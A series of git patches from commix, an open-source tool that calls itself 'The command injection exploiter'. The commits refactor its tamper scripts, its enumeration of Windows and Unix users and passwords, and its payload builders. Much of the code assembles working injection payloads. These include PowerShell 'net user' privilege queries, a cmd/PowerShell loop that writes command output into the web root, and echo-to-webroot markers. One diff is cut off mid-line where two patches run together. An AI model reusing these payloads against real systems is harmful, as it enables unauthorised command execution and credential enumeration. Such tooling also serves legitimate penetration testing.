"-stable" From f078ff089400aa880729f092b3d3af11eb064ff7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Jun 2022 07:40:53 +0300 Subject: [PATCH 0160/1023] Minor refactoring regarding "sleep2timeout" tamper --- src/core/tamper/sleep2timeout.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index f647e32942..b2e9554e0b 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -37,7 +37,7 @@ def sleep_to_timeout_ping(payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: - payload = payload.replace("powershell.exe -InputFormat none Start-Sleep -s", "timeout") + payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload if settings.CLASSIC_STATE != False or \ @@ -55,5 +55,7 @@ def sleep_to_timeout_ping(payload): settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: return sleep_to_timeout_ping(payload) + + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 233f30b3ee..a5874fc6fe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "82" +REVISION = "83" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7ca30f1da18f1a1a9977f765de754b0c6fd0e182 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 16 Jun 2022 10:48:37 +0300 Subject: [PATCH 0161/1023] Minor update --- src/core/injections/blind/techniques/time_based/tb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 343f30de0b..bfcf1dbdfb 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -493,7 +493,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese if str(output) == str(randvcalc): return how_long, output else: - if settings.VERBOSITY_LEVEL < 2: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) warn_msg = "False positive or unexploitable injection point detected." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 87dfe705d8..9d73e3c6f3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -496,7 +496,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if str(output) == str(randvcalc): return how_long, output else: - if settings.VERBOSITY_LEVEL < 2: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) warn_msg = "False positive or unexploitable injection point detected." print(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index a5874fc6fe..90e6b96e74 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "83" +REVISION = "84" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 465c0da2ed280ea4de52f8c3e869a3674410ba01 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 Jun 2022 09:52:40 +0300 Subject: [PATCH 0162/1023] Minor fixes / updates --- .../techniques/time_based/tb_enumeration.py | 4 +- src/core/injections/controller/checks.py | 130 +++++++++--------- .../techniques/classic/cb_enumeration.py | 4 +- .../techniques/eval_based/eb_enumeration.py | 4 +- .../techniques/file_based/fb_enumeration.py | 4 +- .../techniques/file_based/fb_payloads.py | 25 +--- .../tempfile_based/tfb_enumeration.py | 4 +- src/core/modules/shellshock/shellshock.py | 4 +- src/utils/settings.py | 5 +- 9 files changed, 85 insertions(+), 99 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 3dfdefbf87..ff1980c960 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -162,7 +162,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -179,7 +179,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d01072c8a6..e407cb7ef8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -621,7 +621,7 @@ def continue_tests(err): """ def unavailable_option(check_option): warn_msg = "The option '" + check_option + "' " - warn_msg += "is not yet available for Windows targets." + warn_msg += "is not yet supported Windows targets." print(settings.print_warning_msg(warn_msg)) """ @@ -662,14 +662,11 @@ def ps_incompatible_os(): """ def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The payloads in some options that you " - warn_msg += "have chosen, are requiring the use of PowerShell. " - print(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to use the \"--ps-version\" option " - message += "so ensure that PowerShell is enabled? [Y/n] > " + message = "The payloads in some options that you " + message += "have chosen are requiring the use of powershell. " + message += "Do you want to use the \"--ps-version\" flag " + message += "to ensure that is enabled? [Y/n] > " ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: menu.options.ps_version = True @@ -1643,20 +1640,19 @@ def generate_char_pool(num_of_chars): """ def print_ps_version(ps_version, filename, _): try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in ps_version) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "Powershell version: " + ps_version - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + settings.PS_ENABLED = True + ps_version = "".join(str(p) for p in ps_version) + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + # Output PowerShell's version number + info_msg = "Powershell version: " + ps_version + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Powershell version: " + ps_version + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." @@ -1768,7 +1764,7 @@ def os_info_msg(self): def print_users_msg(self): if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " + info_msg = "Executing the 'net user' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " info_msg += "in order to enumerate operating system users. " @@ -1786,59 +1782,59 @@ def print_single_os_cmd_msg(self, cmd): """ Print users enumeration. """ -def print_users(sys_users, filename, _): +def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell): # Windows users enumeration. if settings.TARGET_OS == "win": try: - if sys_users: + if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS): sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_users_list) == 1] - info_msg += " [" + str(len(sys_users_list)) + "]:" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = escape_single_quoted_cmd(cmd) - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + if len(sys_users_list) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() + count = 0 + for user in range(0, len(sys_users_list)): + count = count + 1 + if menu.options.privileges: + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + if alter_shell: + cmd = escape_single_quoted_cmd(cmd) + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = re.findall(r"(.*)", check_privs) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = check_privs.split() + if "Admin" in check_privs[0]: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" + is_privileged_nh = " is admin user " + else: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" + is_privileged_nh = " is regular user " + else : + is_privileged = "" + is_privileged_nh = "" + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.close() else: # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." @@ -1957,7 +1953,7 @@ def print_users(sys_users, filename, _): """ Print users enumeration. """ -def print_passes(sys_passes, filename, _): +def print_passes(sys_users, filename, _, alter_shell): if sys_passes == "": sys_passes = " " sys_passes = sys_passes.replace(" ", "\n").split() @@ -2295,10 +2291,10 @@ def check_wrong_flags(): warn_msg += "target has been identified as Windows." print(settings.print_warning_msg(warn_msg)) if menu.options.passwords: - warn_msg = "The '--passwords' option, is not yet available for Windows targets." + warn_msg = "The '--passwords' option, is not yet supported Windows targets." print(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : - warn_msg = "The '--file-upload' option, is not yet available for Windows targets. " + warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " warn_msg += "Instead, use the '--file-write' option." print(settings.print_warning_msg(warn_msg)) raise SystemExit() diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 38412ef35c..3501e5dbaa 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -208,7 +208,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -228,7 +228,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index c50ac0af2d..673f7cd9d9 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -211,7 +211,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -231,7 +231,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 2ca6dacd8b..210a22a4a0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -180,7 +180,7 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -197,7 +197,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 5b66e37efe..6ec5df468f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -27,15 +27,10 @@ """ def decision(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": - payload = (separator + - "powershell.exe -InputFormat none Add-Content " + - OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + TAG - ) - else: - payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) + + payload = (separator + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + ) return payload @@ -73,22 +68,16 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): if settings.TFB_DECIMAL == True: - payload = (separator +cmd) + payload = (separator + cmd) elif settings.TARGET_OS == "win": payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + " Date: Sat, 18 Jun 2022 09:58:26 +0300 Subject: [PATCH 0163/1023] Trivial fixes / updates --- .../techniques/time_based/tb_enumeration.py | 2 +- src/core/injections/controller/checks.py | 57 +++++++++++-------- .../techniques/classic/cb_enumeration.py | 9 +-- .../techniques/eval_based/eb_enumeration.py | 19 +++---- .../techniques/file_based/fb_enumeration.py | 3 +- .../techniques/file_based/fb_file_access.py | 2 +- .../techniques/file_based/fb_injector.py | 3 + .../tempfile_based/tfb_enumeration.py | 2 +- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 10 files changed, 53 insertions(+), 48 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index ff1980c960..8ccd42bc94 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -179,7 +179,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e407cb7ef8..b38547e4be 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -662,6 +662,8 @@ def ps_incompatible_os(): """ def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) while True: message = "The payloads in some options that you " message += "have chosen are requiring the use of powershell. " @@ -1807,33 +1809,33 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi count = 0 for user in range(0, len(sys_users_list)): count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = escape_single_quoted_cmd(cmd) - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # if menu.options.privileges: + # cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + # if alter_shell: + # cmd = escape_single_quoted_cmd(cmd) + # cmd = "cmd /c " + cmd + # from src.core.injections.results_based.techniques.classic import cb_injector + # response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # check_privs = cb_injector.injection_results(response, TAG, cmd) + # check_privs = "".join(str(p) for p in check_privs).strip() + # check_privs = re.findall(r"(.*)", check_privs) + # check_privs = "".join(str(p) for p in check_privs).strip() + # check_privs = check_privs.split() + # if "Admin" in check_privs[0]: + # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" + # is_privileged_nh = " is admin user " + # else: + # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" + # is_privileged_nh = " is regular user " + # else : + is_privileged = is_privileged = "" + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : output_file.write("\n") - output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) output_file.close() else: # print(settings.SINGLE_WHITESPACE) @@ -1953,7 +1955,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi """ Print users enumeration. """ -def print_passes(sys_users, filename, _, alter_shell): +def print_passes(sys_passes, filename, _, alter_shell): if sys_passes == "": sys_passes = " " sys_passes = sys_passes.replace(" ", "\n").split() @@ -2018,6 +2020,12 @@ def quoted_cmd(cmd): cmd = "\"" + cmd + "\"" return cmd +""" +""" +def add_new_cmd(cmd): + cmd = "cmd /c " + cmd + return cmd + """ Escape single quoted cmd """ @@ -2030,7 +2038,8 @@ def escape_single_quoted_cmd(cmd): """ def find_filename(dest_to_write, content): fname = os.path.basename(dest_to_write) - tmp_fname = "tmp_" + fname + #tmp_fname = "tmp_" + fname + tmp_fname = fname content = quoted_cmd(content) cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname return fname, tmp_fname, cmd diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 3501e5dbaa..da49dc562a 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -189,13 +189,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE + # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if settings.TARGET_OS == "win": - cmd = "cmd /c " + cmd + cmd = checks.add_new_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -228,7 +225,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 673f7cd9d9..6aba7618f1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -51,7 +51,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - check.print_ps_version(ps_version,) + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration @@ -91,7 +91,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. target_os = eb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os).replace(" ", "", 1) + target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -139,8 +139,8 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method _ = False cmd = settings.CURRENT_USER if settings.TARGET_OS == "win": - cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE + cmd = settings.WIN_CURRENT_USER + # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) else: @@ -189,16 +189,13 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - cmd = settings.SYS_USERS + cmd = settings.EVAL_SYS_USERS if settings.TARGET_OS == "win": cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) else: - cmd = checks.quoted_cmd(cmd) - else: - cmd = settings.EVAL_SYS_USERS + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -208,7 +205,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Evaluate injection results. sys_users = eb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) - # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) + session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) @@ -231,7 +228,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 210a22a4a0..50000cb500 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -166,7 +166,6 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) else: @@ -197,7 +196,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 1aafd5d945..ed2426e5d4 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -49,7 +49,7 @@ def file_write(separator, payload, TAG, timesec, prefix, 